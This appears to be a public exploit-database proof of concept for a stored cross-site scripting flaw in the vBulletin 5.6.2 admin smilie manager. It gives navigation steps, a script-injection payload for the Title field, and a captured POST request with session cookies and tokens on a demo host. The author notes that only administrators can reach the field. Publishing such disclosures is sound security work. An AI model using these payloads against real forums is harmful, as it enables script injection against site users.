vBulletin 5.6.2 Persistent Cross Site Scripting

`# Exploit Title: vBulletin 5.6.2 Stored XSS  
# Date:15.08.2020  
# Author: Vincent666 ibn Winnie  
# Software Link: https://www.vbulletin.com/en/features/  
# Tested on: Windows 10  
# Web Browser: Mozilla Firefox  
# Blog : https://pentest-vincent.blogspot.com/  
# PoC: https://pentest-vincent.blogspot.com/2020/08/vbulletin-562-stored-xss.html  
  
PoC:  
  
Go to the Admin panel -> open Smilies -> Smilies manager->Edit Smilie  
Categories->edit Smile:  
  
https://72329406fb3a-041342.demo.vbulletin.net/admincp/index.php  
  
https://72329406fb3a-041342.demo.vbulletin.net/admincp/image.php?do=edit&table=smilie&id=1&pp=20&page=1&imagecategoryid=4  
  
Put our code in the field "Title" or "Text to Replace" and other fields.  
  
Our code:  
  
""><script>alert("field")</script><marquee>test</marquee>  
  
And save this. We have a stored XSS and html code injection.  
  
Picture:  
  
https://imgur.com/a/JUsmPye  
  
Video:  
  
https://www.youtube.com/watch?v=D526ZLgH90Y&feature=youtu.be  
  
https://72329406fb3a-041342.demo.vbulletin.net/admincp/image.php?do=update  
Host: 72329406fb3a-041342.demo.vbulletin.net  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0)  
Gecko/20100101 Firefox/70.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate, br  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 399  
Origin: https://72329406fb3a-041342.demo.vbulletin.net  
Connection: keep-alive  
Referer: https://72329406fb3a-041342.demo.vbulletin.net/admincp/image.php?do=edit&table=smilie&id=1&pp=20&page=1&imagecategoryid=4  
Cookie: vb41342lastvisit=1597392323; vb41342lastactivity=1597521919;  
vb41342np_notices_displayed=; vb41342contentlist_perpage=25;  
vb41342sessionhash=845f579d01bdd42b4bf3020d4893f366;  
PHPSESSID=d8cafaa942534428ce54ea2ba5a221ec7ed9532a6d9666b8;  
BIGipServervbdemo-web_POOL=1459677194.20480.0000;  
vb41342cpsession=18ca6bf5d79e5564ac2aa3a201612500;  
vb41342sitebuilder_active=1  
Upgrade-Insecure-Requests: 1  
s=845f579d01bdd42b4bf3020d4893f366&do=update&adminhash=38c14dd475e4de2e3f95676226993ebd&securitytoken=1597523664-7fba45cf7add9630b2fda3e409ad0da7beec797c&title=Smile""><script>alert("field")</script><marquee>test</marquee>&smilietext=:)&imagespath=smile.png&imagecategoryid=4&displayorder=1&id=1&table=smilie&page=1&perpage=20&massmove=0&returnimagecategoryid=4  
POST: HTTP/1.1 200 OK  
Date: Sat, 15 Aug 2020 20:34:36 GMT  
  
X-Frame-Options: sameorigin  
Content-Security-Policy: frame-ancestors 'self'  
Expires: 0  
Cache-Control: private, post-check=0, pre-check=0, max-age=0  
Pragma: no-cache  
Vary: Accept-Encoding  
Content-Encoding: gzip  
Connection: keep-alive, Keep-Alive  
Keep-Alive: timeout=2, max=100  
Transfer-Encoding: chunked  
Content-Type: text/html; charset=UTF-8  
  
p.s.  
Today i haven't idea how to use this bug, because only the admin user  
has an access to the admincp and can insert xss code in the fields.  
  
`